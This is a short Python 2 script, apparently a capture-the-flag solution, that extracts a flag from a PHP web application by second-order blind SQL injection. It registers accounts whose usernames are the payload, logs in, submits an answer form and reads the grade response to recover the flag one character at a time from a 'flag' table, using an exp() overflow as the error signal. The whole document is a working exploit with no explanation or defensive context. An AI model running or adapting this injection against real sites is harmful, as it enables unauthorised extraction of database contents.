import requests
def reg(username,password='1'):
    data = {
        'username':username,
        'password':password
    }
    url = 'http://210.32.4.20/register.php'
    r = requests.post(url=url,data=data)
    return r.headers['Set-Cookie'][10:-8]

def login(session,username,password='1'):
    data = {
        'username': username,
        'password': password
    }
    cookie = {
        'PHPSESSID':session
    }
    url = 'http://210.32.4.20/login.php'
    r = requests.post(url=url, data=data,cookies=cookie)
    data = {
        '10.a':'on'
    }
    url = 'http://210.32.4.20/answer.php'
    r = requests.post(url=url, data=data,cookies=cookie)
    if 'Your grades is 0' in r.content:
        return 1
    url = 'http://210.32.4.20/logout.php'
    r = requests.get(url=url,cookies=cookie)
    return 0
flag = 'EIS{'
for i in range(5,1000):
    for k in 'abcdef0123456789}':
        j = ord(k)
        payload='''1' and if((ascii(substr((select flag from flag limit 0,1),%d,1))=%d),exp(999999999999),1)#'''%(i,j)
        try:
            session = reg(payload)
            if login(session,payload):
                flag+=chr(j)
                print flag
                break
        except:
            session = reg(payload)
            if login(session,payload):
                flag+=chr(j)
                print flag
                break